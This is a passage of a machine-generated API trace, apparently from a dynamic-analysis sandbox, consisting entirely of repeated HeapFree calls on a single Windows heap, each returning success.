[0301.782] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0301.782] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.787] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.790] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.793] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.795] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.798] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.801] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.804] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.805] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.808] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.811] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.814] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.817] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.945] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.947] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0301.948] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0301.948] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0301.953] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0301.955] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0301.955] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.128] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.130] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.131] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.132] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.132] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.132] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.133] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.138] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.138] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.140] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.142] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.142] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.142] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.144] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.144] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.144] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.147] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.148] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.150] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.150] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.151] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.154] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.154] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.154] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0302.154] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.158] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.158] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.160] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.160] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.160] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.167] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.170] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.316] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.317] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.317] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.317] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.317] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.318] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.318] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.318] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.318] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.319] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.319] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.319] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.319] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.319] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.320] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.320] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.320] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.320] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.321] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.321] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.321] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.321] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.321] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.321] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.322] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.322] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.322] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.323] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.323] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.323] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.324] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.324] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.324] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.324] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.324] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.324] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.324] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.325] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.325] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.325] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.325] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.325] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.326] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.326] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.326] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.326] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.331] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.334] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.337] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.339] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.340] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.341] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.341] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.343] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.350] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.350] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.351] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.351] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.470] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.470] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.471] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.471] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0302.474] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0302.476] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.476] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0302.478] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.480] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.480] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.484] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.484] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0302.484] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0302.484] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.484] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.486] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.487] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.487] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43e0878 | out: hHeap=0x700000) returned 1 [0302.489] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0302.489] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.489] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.489] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.492] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.492] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.494] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.494] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.500] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.500] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0302.799] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.814] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.814] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.838] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.839] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.839] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.842] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.843] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.845] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.845] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.847] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.848] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.849] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0302.850] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44748c0 | out: hHeap=0x700000) returned 1 [0302.850] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0302.850] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.852] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.853] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0302.854] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.854] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.856] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.857] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.858] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44648b8 | out: hHeap=0x700000) returned 1 [0302.858] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.858] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.860] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.860] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0302.862] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.862] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.862] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.862] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.863] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.863] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.863] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.863] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.863] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.864] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.864] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.864] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.864] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.864] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.865] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.865] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.865] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.865] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.865] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.866] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.866] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.866] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.866] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.868] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.868] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.869] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.869] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.869] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.869] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.870] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.870] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.870] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.871] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.871] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.871] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.871] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.872] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.872] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0302.872] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.174] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.174] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.175] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.175] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.175] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.176] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.176] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.177] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.177] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.177] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.178] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.178] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.178] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.179] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.179] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.181] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.181] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.181] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44a48d8 | out: hHeap=0x700000) returned 1 [0303.181] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44948d0 | out: hHeap=0x700000) returned 1 [0303.181] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.181] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.183] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.184] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.184] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.184] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4410890 | out: hHeap=0x700000) returned 1 [0303.184] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.185] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0303.185] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43d0068 | out: hHeap=0x700000) returned 1 [0303.186] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.188] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43c0060 | out: hHeap=0x700000) returned 1 [0303.189] 